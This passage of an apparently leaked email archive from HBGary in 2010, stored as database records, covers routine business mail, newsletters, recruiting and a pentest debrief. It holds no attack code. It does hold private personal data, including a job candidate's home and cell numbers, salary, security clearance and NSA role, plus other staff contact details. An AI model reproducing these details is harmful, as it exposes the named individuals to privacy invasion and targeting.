Sheffer\r\n\r\nProgram Director\r\n\r\nCenter for\r\nCommercialization of Advanced Technology\r\n\r\nSan Diego State\r\nUniversity Research Foundation\r\n\r\n5250 Campanile\r\nDrive\r\n\r\nSan Diego, CA\r\n92182\r\n\r\nGateway Center;\r\nThird Floor\r\n\r\nOffice\r\nPhone:&nbsp; 619-594-4135\r\n\r\nCell Phone:&nbsp;\r\n619-405-7079\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3095 - Release Date: 09/01/10\r\n02:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2321,'aaron_hbgary_com/2321.html'),(11218,'2010-09-02','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297008561.M616851P14101Q6073.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Signed Document','Did you modify?\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, September 02, 2010 7:30 AM\r\nTo: DeeAnn Buonaccorsi\r\nCc: Penny Leavy\r\nSubject: Signed Document\r\n\r\n\r\n\r\nSorry didn\'t get this out like I said yesterday.\r\n\r\nAaron\r\n\r\n',3095,'aaron_hbgary_com/3095.html'),(11219,'2010-09-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008561.M987725P14101Q6074.eml','\"Daniel Collender\" <dcollend@digitalglobe.com>','Training','Hi Daniel,\r\n\r\nI know you must be very busy.  Is there any way we can have a conversation this week regarding the training and try to get things set up?  I am still actively looking for some folks to fit the senior windows security position.  I may have found a few but just need a few written details for job description.\r\n\r\nAaron',15002,'aaron_hbgary_com/15002.html'),(11220,'2010-09-02','\"ExecutiveBiz\" <sender@executivebiz.com>','/aaron@hbgary.com/new/1297008562.M255454P14101Q6075.eml','aaron@hbgary.com','Security Expert Richard Clarke to Address Potomac Officers Club October 5','&nbsp; \r\n\r\n\r\n\r\n\r\nView in Browser\r\n \r\n\r\nSign\r\n Up&nbsp;| Forward | Visit\r\n Our Blog | Jobs | About\r\n Us GovconWire\r\n | ExecutiveGov | The New New Internet | GovCon Executive&nbsp; | GovConExec\r\n Magazine\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\nBy Jim\r\n GarrettsonSeptember 2,\r\n 2010\r\nSecurity\r\n Expert Richard Clarke to Address Potomac Officers Club October\r\n 5Former\r\n counter-terrorism czar and cyber thought leader Richard A. Clarke will speak at\r\n the Potomac Officers Club on October 5 at 11:30 a.m. at the Ritz-Carlton of Tysons\r\n Corner. For more information and to register click\r\n here \r\n\r\n\r\n\r\n&nbsp;\r\nA special cyber edition of GovCon Exec is coming\r\n in September - read about the\r\n contracting community\'s efforts to take the government\'s cyber abilities to the\r\n next level. Click Here\r\n to SubscribeCACI\r\n Wins Slice of $16.4 Billion Army Deal; Paul Cofoni\r\n CommentsCACI\r\n (NYSE: CACI) became one of 17 prime contracts to win a piece of the U.S. Army Communications and Electronics Command\r\n (CECOM) Rapid Response &#8211; Third Generation (R2-3G) program.&nbsp; Click here to read\r\n moreNinth Circuit\r\n Court: Secret GPS Tracking is LegalAccording to the latest ruling out of the Ninth Circuit Court, it\'s\r\n perfectly legal for federal agents to secretly plant a GPS locator on your car in\r\n the middle of the night, even if it\'s parked in your driveway, and then use said\r\n locator to track your movements as they see fit. Even without a warrant. Click here to read\r\n more\r\nHayden:\r\n Cyberspace is \'Lawless\'&nbsp;Cyberspace has become a lawless environment without any\r\n natural technical barriers to protect information, requiring every user to assume\r\n a personal responsibility for firewalls, said Gen. Michael V. Hayden, former\r\n director of the National Security Agency and of the CIA.&nbsp;Click here to read\r\n more&nbsp;Boeing\'s Secret Robot Space Plane\r\n Vanishes...For Almost Three WeeksBoeing\'s unmanned space vehicle, the X-37B (also\r\n known by its prototype designation, OTV-1), launched in April. Its top-secret\r\n mission and undisclosed capabilities have engendered plentiful speculation from\r\n amateur astronomers, space-policy enthusiasts and arms-control activists alike.\r\n Recently, however, the spacecraft pulled off a new trick: a vanishing\r\n act.&nbsp;Click here to read\r\n more\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBeyond business\r\n as usual: Nine ideas for the Next Generation Enterprise from leading\r\n CIOsThe days of\r\n business as usual are over. Especially for CIOs.Gone are the days when it was enough to keep the\r\n lights on. Or know the ins and outs of server and storage capacity.\r\nClick here to\r\n read\r\n more\r\nMichael Hayden Discusses the Wild West nature of\r\n CyberspaceIntelligent Decisions Named to Diverse 100 List,\r\n Harry Martin Comments&nbsp;ACS, A Xerox Company Snags Deal from State of\r\n Wisconsin, Joe Doherty Comments\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n&nbsp;Navy Deals Come\r\n Ashore for Raytheon, Northrop Grumman \r\nHoneywell, Booz\r\n Allen, Northrop Grumman Take Flight with Air Force\r\n ContractsGeneral\r\n Dynamics IT, CSC Among Winners of Billion-Dollar MDA Deal&nbsp; CACI\'s Hot\r\n Streak Rolls On; Paul Cofoni Discusses New Library of Congress Contract \r\nBAE Systems\r\n Notches $629 Million Navy Win\r\nLockheed\'s Savi\r\n Technologies Names William Clark SVP, Marketing LeadSAIC Inks\r\n Another SPAWAR DealStanley Picks\r\n Up HHS Deal, Howard Ady Comments\r\nClick Here for More\r\n GovConwire\r\nSymantec\'s Top\r\n Five Cyber Predictions Progression\r\nHeritage\r\n Scholar: America Needs Clearer Lines of Authority in Cyber\r\nResearchers\r\n Develop Scanners to ID Terrorists\r\nDoD\'s New Cyber\r\n Strategy\r\nNokia Siemens\r\n Sued for Providing Spy Tech to Iran\r\nClick Here for More from The New New\r\n Internet\r\n\r\n \r\n&nbsp;\r\n&nbsp;\'Cyber\r\n Slacking\' Costs Employers a Pretty Penny, Says New Study\r\nHarris Expands\r\n Philanthropic Efforts\r\nCyber-Risk\r\n Report Reveals Vulnerability Disclosures Reached All-Time High in\r\n 2010\r\nCloud Computing\r\n Gives Hackers More Opportunities, Says Survey\r\nNetWitness\r\n Named Fastest-Growing Business in D.C.\r\nClick Here for More from\r\n GovCon Executive\r\n \r\n DNI\r\n Tells Intelligence Community to Keep Mum about Secrets \r\nCCHIT, Drummond\r\n Group Named First EHR Certification Bodies\r\nAneesh Chopra:\r\n Federal Database for State Health-Program Eligibility Rules Would Allow for\r\n Openness, Innovation\r\nDHS to Adopt\r\n Electronic Health Record System for Undocumented Aliens\r\nSmall\r\n Businesses Scored Record High in Fed Contracts in Fiscal \'09Click Here for More from ExecutiveGov \r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\nSHARE THIS EMAIL:FacebookTwitterLinkedInDiggMySpace\r\n\r\n\r\n\r\n \r\n\r\nMichael Hayden Discusses the Wild West nature of\r\n CyberspaceImagine\r\n cyberspace as a lawless frontier, the kind John Ford or Sergio Leone breathed\r\n cinematic life into, minus the natural geographic boundaries.&nbsp;Click here to read more&nbsp;Intelligent Decisions Named to Diverse 100\r\n List, Harry Martin Comments&nbsp;Intelligent Decisions (ID) was\r\n selected to the inaugural Diverse 100 list by Everything Channel\'s CRN\r\n Magazine.&nbsp;Click here to read\r\n moreACS, A Xerox Company Snags Deal from State\r\n of Wisconsin, Joe Doherty Comments&nbsp;Affiliated Computer Services, Inc. (ACS), A\r\n Xerox Company (NYSE: XRX) won a deal from the Wisconsin Department of Children and\r\n Families to handle child-support payments with renewed eight-year, $30 million\r\n contract. Click here to read\r\n more\r\n\r\nA Letter from the EditorThrough\r\n our weekly emagazine and daily blog, ExecutiveBiz offers our readership an insider\'s view\r\n of news and trends shaping small, medium, and large companies within industries\r\n such as defense, technology, and health care.&nbsp; In addition to our daily blog,\r\n we\'ve launched four new media properties, GovConWire, GovConExecutive, ExecutiveGov, and TheNewNewInternet. Each week, we deliver in-depth profiles of\r\n industry leaders, candid Q&As, plus the latest news and trends, and value-add\r\n information to help you do your job better.&nbsp; You\'re a big part of the\r\n equation both online and off &#8212; which is why we want to hear from you. Have a\r\n story tip? Or an idea for a speaking event? Feel free to contact me direct. You\r\n can also follow us on Twitter, Facebook, and LinkedIn.\r\n\r\nJ.D.\r\n KathuriaEditor-in-chief ExecutiveBizo: 703-226-7010&nbsp; &nbsp;jd@executivebiz.com&nbsp;&nbsp;\r\n \r\n\r\n\r\n\r\n\r\nExecutiveBiz, 8230 Old\r\n Courthouse RoadVienna, VA 22181Update PreferencesList\r\n Unsubscribe\r\n',15482,'aaron_hbgary_com/15482.html'),(11221,'2010-09-02','\"Ed Wallach\" <ed@wallachsearch.com>','/aaron@hbgary.com/new/1297008562.M541214P14101Q6076.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: WILLIS C. MCDONALD II','Hi Aaron,Willis would love to speak with your guys today!He said he\'s home all day today.His contact info is:Home- (678) 425-9890Cell - (770) 235-5471willismcdonald2@gmail.comThanks-EdOn Sep 1, 2010, at 3:47 PM, Aaron Barr wrote:This guy looks interesting. &nbsp;So I would like to vet his skill set, get one of our Forensic guys on the phone with him. &nbsp;Does that work?AaronOn Sep 1, 2010, at 1:16 PM, Ed Wallach wrote:Hi Aaron,here\'s a new recruit-lives in GA...will relo up here in 2 seconds...has an FSP!!CANDIDATE\'S NAME: &nbsp;WILLIS C. MCDONALD IICURRENTLY LIVES IN: &nbsp;GA			WILL RELOCATEGEOGRAPHIC PREFERENCES: &nbsp;DC/MD/VA&nbsp;		He is open to hear about outstanding opportunities elsewhere.LOOKING FOR WORK BECAUSE: &nbsp;The contract he is working on is over in 2 WEEKS.&nbsp;CURRENT SALARY: &nbsp;$78,000 &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;CLEARANCES: &nbsp;TS/SCI with a FULLSCOPE POLY (8-2008)EDUCATION AND TRAINING:2006 - 2008 B.S. Information TechnologySouthern Polytechnic State University, Marietta GA2002 - 2005 Electrical and Computer EngineeringUniversity of New Orleans, New Orleans LA2010 FOR558 Network ForensicsSANSfire &nbsp;Baltimore MDSUMMARY OF QUALIFICATIONS:Over 14 years experience including information security, network administration and live forensic analysis of information systems. &nbsp;Willis has a strong understanding of various commercial security products and systems including&nbsp;applications, capabilities, and limitations. &nbsp;He also have extensive professional experience in network planning, implementation and operations.&nbsp;PROFESSIONAL EXPERIENCE:2008 - PresentGlobal Network Exploitation and Vulnerability AnalystNational Security Agency, Fort Gordon GAResponsibilities included: &nbsp;Performing interactive operations, live forensic analysis of remote computer systems and networks, and situational health and security posture analysis of the endpoint environment. &nbsp;Security posture analysis included identifying vulnerabilities and security products on systems along with malware identification and analysis for possible capabilities and interference with proprietary tools. &nbsp;Attended a six month rigorous training course in forensics, software development, reverse engineering and information security.&nbsp;2006 - 2008 &nbsp;Network AdministratorThe Community Bank, Loganville GADuties included but were not limited to:Responsible for ensuring overall health and security of bank information systems. &nbsp;Auditing IDS and firewall systems, ground up planning and implementation of branch systems, user administration, backup administration, database administration and development of web based front ends for existing&nbsp;applications and a ground up re-work of the existing web site to include a CMS for ease of future maintenance. &nbsp;Also, implemented Nagios event monitoring for all servers and security devices.2006 - 2006&nbsp;Senior TechnicianPifusion Development Group, Tucker GAPerformed repairs and sales of computer hardware, software and network equipment both in-house and on-site. &nbsp;Repair duties included: general hardware/software troubleshooting and replacement and virus and malware remediation. &nbsp;Implemented and designed network systems for new and existing locations. &nbsp;Also assessed off-lease equipment for recycling and valuation for sale.2002 - 2006 &nbsp;Supervisor TraineeMcDonald Enterprises, Slidell LAAdministered and maintained environmental remediation systems for three hazardous waste remediation sites. &nbsp;Duties included SCADA and PLC systems administration, company information systems administration and general maintenance and repair of industrial wastewater treatment systems.1998 - 2002&nbsp;Assistant AdministratorFirearms Training Systems, Suwanee GAAdministered a mixed environment network for a computer based firearms training systems manufacturer for military and law enforcement agencies. &nbsp;Administration duties included backup administration, general user administration, PBX administration and database administration and maintenance. &nbsp;Also repaired and built desktop systems for end users. &nbsp;Also monitored web systems for misuse and anomalies.1995 - 1996IT SpecialistMFP/King Computer, Norcross GAResponsible for assessment and remediation of off-lease IBM PCs. &nbsp;Remediation included loading and configuring systems to customer specifications. &nbsp;Implemented network based loading system to improve productivity over using legacy floppy based loading. &nbsp;~~~~~~~~~~~~~~~~~~~~~~Ed Wallach&nbsp;President &amp; CEOEd Wallach Search Group 301-365-3291 office&nbsp;&nbsp;301-613-0629 mobile301-365-3292 fax&nbsp;ed@wallachsearch.comwww.wallachsearch.comRecruiting Intelligence &lt;app_full_proxy.php.gif&gt;\r\n~~~~~~~~~~~~~~~~~~~~~~Ed Wallach&nbsp;President &amp; CEOEd Wallach Search Group 301-365-3291 office&nbsp;&nbsp;301-613-0629 mobile301-365-3292 fax&nbsp;ed@wallachsearch.comwww.wallachsearch.comRecruiting Intelligence \r\n\r\n',11249,'aaron_hbgary_com/11249.html'),(11222,'2010-09-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008562.M887850P14101Q6077.eml','\"Phil Wallisch\" <phil@hbgary.com>','Fwd: WILLIS C. MCDONALD II','Do u have 16 minutes today?AaronSent from my iPhoneBegin forwarded message:From: Ed Wallach &lt;ed@wallachsearch.com&gt;\r\nDate: September 2, 2010 11:58:16 AM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Cc: Alan Ehrlich &lt;alan@wallachsearch.com&gt;\r\nSubject: Re: WILLIS C. MCDONALD IIHi Aaron,Willis would love to speak with your guys today!He said he&#39;s home all day today.\r\nHis contact info is:Home- (678) 425-9890Cell - (770) 235-5471willismcdonald2@gmail.com\r\nThanks-EdOn Sep 1, 2010, at 3:47 PM, Aaron Barr wrote:\r\nThis guy looks interesting.  So I would like to vet his skill set, get one of our Forensic guys on the phone with him.  Does that work?AaronOn Sep 1, 2010, at 1:16 PM, Ed Wallach wrote:\r\nHi Aaron,here&#39;s a new recruit-lives in GA...will relo up here in 2 seconds...has an FSP!!\r\nCANDIDATE&#39;S NAME:  WILLIS C. MCDONALD IICURRENTLY LIVES IN:  GA			WILL RELOCATEGEOGRAPHIC PREFERENCES:  DC/MD/VA 		He is open to hear about outstanding opportunities elsewhere.\r\nLOOKING FOR WORK BECAUSE:  The contract he is working on is over in 2 WEEKS. CURRENT SALARY:  $78,000         CLEARANCES:  TS/SCI with a FULLSCOPE POLY (8-2008)EDUCATION AND TRAINING:2006 - 2008 B.S. Information Technology\r\nSouthern Polytechnic State University, Marietta GA2002 - 2005 Electrical and Computer EngineeringUniversity of New Orleans, New Orleans LA2010 FOR558 Network ForensicsSANSfire  Baltimore MD\r\nSUMMARY OF QUALIFICATIONS:Over 14 years experience including information security, network administration and live forensic analysis of information systems.  Willis has a strong understanding of various commercial security products and systems including applications, capabilities, and limitations.  He also have extensive professional experience in network planning, implementation and operations. \r\nPROFESSIONAL EXPERIENCE:2008 - PresentGlobal Network Exploitation and Vulnerability AnalystNational Security Agency, Fort Gordon GAResponsibilities included:  Performing interactive operations, live forensic analysis of remote computer systems and networks, and situational health and security posture analysis of the endpoint environment.  \r\nSecurity posture analysis included identifying vulnerabilities and security products on systems along with malware identification and analysis for possible capabilities and interference with proprietary tools.  Attended a six month rigorous training course in forensics, software development, reverse engineering and information security. \r\n2006 - 2008  Network AdministratorThe Community Bank, Loganville GADuties included but were not limited to:Responsible for ensuring overall health and security of bank information systems.  \r\nAuditing IDS and firewall systems, ground up planning and implementation of branch systems, user administration, backup administration, database administration and development of web based front ends for existing applications and a ground up re-work of the existing web site to include a CMS for ease of future maintenance.  \r\nAlso, implemented Nagios event monitoring for all servers and security devices.2006 - 2006 Senior TechnicianPifusion Development Group, Tucker GAPerformed repairs and sales of computer hardware, software and network equipment both in-house and on-site.  \r\nRepair duties included: general hardware/software troubleshooting and replacement and virus and malware remediation.  Implemented and designed network systems for new and existing locations.  Also assessed off-lease equipment for recycling and valuation for sale.\r\n2002 - 2006  Supervisor TraineeMcDonald Enterprises, Slidell LAAdministered and maintained environmental remediation systems for three hazardous waste remediation sites.  Duties included SCADA and PLC systems administration, company information systems administration and general maintenance and repair of industrial wastewater treatment systems.\r\n1998 - 2002 Assistant AdministratorFirearms Training Systems, Suwanee GAAdministered a mixed environment network for a computer based firearms training systems manufacturer for military and law enforcement agencies.  \r\nAdministration duties included backup administration, general user administration, PBX administration and database administration and maintenance.  Also repaired and built desktop systems for end users.  Also monitored web systems for misuse and anomalies.\r\n1995 - 1996IT SpecialistMFP/King Computer, Norcross GAResponsible for assessment and remediation of off-lease IBM PCs.  Remediation included loading and configuring systems to customer specifications.  \r\nImplemented network based loading system to improve productivity over using legacy floppy based loading.  \r\n~~~~~~~~~~~~~~~~~~~~~~Ed Wallach \r\nPresident &amp; CEO\r\nEd Wallach Search Group \r\n301-365-3291 office  \r\n301-613-0629 mobile\r\n301-365-3292 fax ed@wallachsearch.com\r\nwww.wallachsearch.com\r\nRecruiting Intelligence \r\n\r\n&lt;app_full_proxy.php.gif&gt;\r\n\r\n\r\n~~~~~~~~~~~~~~~~~~~~~~Ed Wallach \r\nPresident &amp; CEO\r\nEd Wallach Search Group \r\n301-365-3291 office  \r\n301-613-0629 mobile\r\n301-365-3292 fax ed@wallachsearch.com\r\nwww.wallachsearch.com\r\nRecruiting Intelligence \r\n\r\n\r\n\r\n\r\n',9499,'aaron_hbgary_com/9499.html'),(11223,'2010-09-02','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297008563.M109657P14101Q6078.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Signed Document','Thanks Aaron.\r\n\r\nDeeAnn Buonaccorsi\r\nOffice Manager\r\nHBGary, Inc.\r\n3604 Fair Oaks Blvd.  Suite 250\r\nSacramento, CA  95864\r\nTel:  916-459-4727 ext. 101\r\nFax: 916-481-1460\r\nEmail  deeann@hbgary.com\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, September 02, 2010 7:30 AM\r\nTo: DeeAnn Buonaccorsi\r\nCc: Penny Leavy\r\nSubject: Signed Document\r\n\r\n\r\n\r\nSorry didn\'t get this out like I said yesterday.\r\n\r\nAaron\r\n\r\n',13579,'aaron_hbgary_com/13579.html'),(11224,'2010-09-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008563.M299196P14101Q6079.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Signed Document','I didn\'t it\'s a PDF.  How do u want to do that.\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 2, 2010, at 10:53 AM, \"Penny Leavy-Hoglund\"  wrote:\r\n\r\n> Did you modify?\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Thursday, September 02, 2010 7:30 AM\r\n> To: DeeAnn Buonaccorsi\r\n> Cc: Penny Leavy\r\n> Subject: Signed Document\r\n>\r\n>\r\n>\r\n> Sorry didn\'t get this out like I said yesterday.\r\n>\r\n> Aaron\r\n>\r\n',7056,'aaron_hbgary_com/7056.html'),(11225,'2010-09-02','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008563.M512921P14101Q6080.eml','\"Jerry McClure\" <Jerry.McClure@agilex.com>','PenTest Debrief','Hello Jerry,\r\n\r\nWe just concluded the PenTest debrief, I\'d say it went well.  A couple\r\nof folks had a chance to preview the draft deliverables and the only\r\nfeedback thus far is that they would like us to change the title from\r\n\"Red Team...\" to \"Security Assessment\" or something benign like that\r\ndue to organizational politics.  David is going to gather any\r\nadditional feedback and send it to us tonight.  We aim to have the\r\nfinal deliverables complete by COB tomorrow.  If you have any\r\nquestions feel free to call.\r\n\r\nRegards,\r\nTed\r\n',9385,'aaron_hbgary_com/9385.html'),(11226,'2010-09-02','\"Daniel Collender\" <dcollend@digitalglobe.com>','/aaron@hbgary.com/new/1297008563.M711854P14101Q6081.eml','aaron@hbgary.com','PGP Universal Secured Message','You have received a PGP Universal Secured Message from:\r\n\r\n\"Daniel Collender\" \r\n\r\nAccess to this message requires that you know the passphrase set by\r\nthe sender. Once you have contacted the sender for the passphrase,\r\nclick on the link below to read the message.\r\n\r\nFuture messages from this sender may be secured without this step.\r\n\r\nhttps://pgp.digitalglobe.com/b/b.e?r=aaron%40hbgary.com&n=Q%2BeMpVKKbjktEcnq9D08sQ%3D%3D\r\n',16062,'aaron_hbgary_com/16062.html'),(11227,'2010-09-02','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1297008563.M924376P14101Q6082.eml','\"Aaron Barr\" <aaron@hbgary.com>','See what Jason has been up to...','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n           \r\n      \r\n        \r\n\r\n            \r\n               \r\n              \r\n                \r\n                  \r\n                    \r\n                      Aaron, Congratulations!\r\n                    \r\n                    \r\n  You and Jason are now connected.\r\n                    \r\n                  \r\n                \r\n              \r\n               \r\n\r\n              \r\n              \r\n                \r\n              \r\n            \r\n            \r\n\r\n             \r\n            \r\n              \r\n                                \r\n                \r\n                  \r\n                    \r\n                  \r\n                \r\n                \r\n                \r\n                 \r\n                \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          Jason Wonn \r\n                        \r\n                      \r\n                    \r\n                    \r\n                      \r\n                        \r\n                           Malware Reverse Engineer at CGI Federal\r\n                         \r\n \r\n                        \r\n                           \r\n                             \r\n                               \r\n                          \r\n                          View Jason\'s Profile\r\n                                 \r\n                               \r\n                             \r\n                           \r\n                         \r\n                      \r\n                    \r\n                  \r\n                 \r\n                \r\n                 \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          Washington D.C. Metro Area\r\n                        \r\n                        \r\n                          Defense &amp; Space Industry \r\n                        \r\n                        \r\n                          jasonwonn@gmail.com\r\n                        \r\n                      \r\n                    \r\n                  \r\n                 \r\n\r\n              \r\n            \r\n             \r\n        \r\n      \r\n     \r\n\r\n\r\n      \r\n    \r\n      \r\n        \r\n          \r\n             Jason\'s Connections (62) \r\n          \r\n          \r\n            See All &#187;\r\n          \r\n        \r\n\r\n        \r\n\r\n        \r\n        \r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Javier Santoyo\r\n                ,\r\n                  Founder - SANGAR Coastal, LLC\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n\r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 David Pearl\r\n                ,\r\n                  Senior Manager at BearingPoint\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n        \r\n        \r\n\r\n        \r\n        \r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Mike Stan\r\n                ,\r\n                  Security Analyst\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n\r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Kathy Wang\r\n                ,\r\n                  Computer &amp; Network Security Consultant and Researcher\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n        \r\n        \r\n\r\n        \r\n\r\n      \r\n    \r\n   \r\n\r\n\r\n\r\n  \r\n    \r\n               \r\n    \r\n      \r\n\r\n        \r\n          \r\n            Companies in Jason\'s Network:\r\n          \r\n        \r\n\r\n               \r\n          \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     CGI Federal\r\n                    \r\n                      Jason works here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n               \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     QinetiQ North America\r\n                    \r\n                      Jason worked here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n            \r\n               \r\n          \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     Deloitte\r\n                    \r\n                      Jason worked here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n               \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     Lockheed Martin\r\n                    \r\n                      Jason worked here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n            \r\n\r\n\r\n      \r\n    \r\n   \r\n\r\n    \r\n  \r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n          \r\n            &copy; 2010, LinkedIn Corporation\r\n          \r\n        \r\n      \r\n    \r\n  \r\n\r\n \r\n\r\n\r\n',12148,'aaron_hbgary_com/12148.html'),(11228,'2010-09-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008564.M135055P14101Q6083.eml','\"Maria Lucas\" <maria@hbgary.com>','Daniels number','Maria,\r\n\r\nCan u send me his number.  I need to call him and don\'t seem to have it with me.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n',12288,'aaron_hbgary_com/12288.html'),(11229,'2010-09-02','\"Twitter\" <twitter-bulkr-federal=hbgary.com@postmaster.twitter.com>','/aaron@hbgary.com/new/1297008564.M419312P14101Q6084.eml','federal@hbgary.com','Update: Twitter Apps and You','\r\n\r\n\r\nHi @HBGaryFed,\r\n\r\nOver the coming weeks, we will be making two important updates that will impact how you interact with Twitter applications.  We are sending this notice to all Twitter users to make sure you are aware of these changes.\r\n\r\nWhat are applications?\r\n\r\nThere are over 250,000 applications built using the Twitter API. To use most applications, you first authorize the application to access your Twitter account, after which you can use it to read and post Tweets, discover new users and more.  Applications come in many varieties, including desktop applications like TweetDeck, Seesmic, or EchoFon, websites such as TweetMeme, fflick, or Topsy, or mobile applications such as Twitter for iPhone, Twitter for Blackberry, or Foursquare.\r\n\r\nUpdate 1: New authorization rules for applications\r\n\r\nStarting August 31, all applications will be required to use “OAuth” to access your Twitter account.\r\n\r\nWhat&#39;s OAuth?\r\n\r\nOAuth is a technology that enables applications to access Twitter on your behalf with your approval without asking you directly for your password.\r\nDesktop and mobile applications may still ask for your password once, but after that request, they are required to use OAuth in order to access your timeline or allow you to tweet.\r\n\r\n\r\nWhat does this mean for me?\r\n\r\n\r\n    Applications are no longer allowed to store your password.\r\n    If you change your password, the applications will continue to work.\r\n    Some applications you have been using may require you to reauthorize them or may stop functioning at the time of this change.\r\n    All applications you have authorized will be listed at http://twitter.com/settings/connections.\r\n    You can revoke access to any application at any time from the list.\r\n\r\n\r\n\r\nUpdate 2: t.co URL wrapping\r\n\r\nIn the coming weeks, we will be expanding the roll-out of our link wrapping service t.co, which wraps links in Tweets with a new, simplified link.  Wrapped links are displayed in a way that is easier to read, with the actual domain and part of the URL showing, so that you know what you are clicking on. When you click on a wrapped link, your request will pass through the Twitter service to check if the destination site is known to contain malware, and we then will forward you on to the destination URL. All of that should happen in an instant.\r\n\r\nYou will start seeing these links on certain accounts that have opted-in to the service; we expect to roll this out to all users by the end of the year. When this happens, all links shared on Twitter.com or third-party apps will be wrapped with a t.co URL.\r\n\r\n\r\nWhat does this mean for me?\r\n\r\n    A really long link such as http://www.amazon.com/Delivering-Happiness-Profits-Passion-Purpose/dp/0446563048 might be wrapped as http://t.co/DRo0trj for display on SMS, but it could be displayed to web or application users as amazon.com/Delivering- or as the whole URL or page title.\r\n    You will start seeing links in a way that removes the obscurity of shortened links and lets you know where each link will take you.\r\n\r\n    When you click on these links from Twitter.com or a Twitter application, Twitter will log that click. We hope to use this data to provide better and more relevant content to you over time.\r\n\r\n\r\nThanks for reading this important update.  Come and check what&#39;s new at http://twitter.com.\r\n\r\nThanks,The Twitter Team\r\n\r\n\r\n\r\n\r\n\r\n',13558,'aaron_hbgary_com/13558.html'),(11230,'2010-09-02','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008564.M634161P14101Q6085.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Daniels number','(303) 684-4000On Thu, Sep 2, 2010 at 10:51 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nMaria,\r\n\r\nCan u send me his number.  I need to call him and don&#39;t seem to have it with me.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',4372,'aaron_hbgary_com/4372.html'),(11231,'2010-09-02','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008564.M858669P14101Q6086.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Introduction to HBGary Federal','Hi AaronJohn Wang from the NASA SOC is looking forward to hearing from 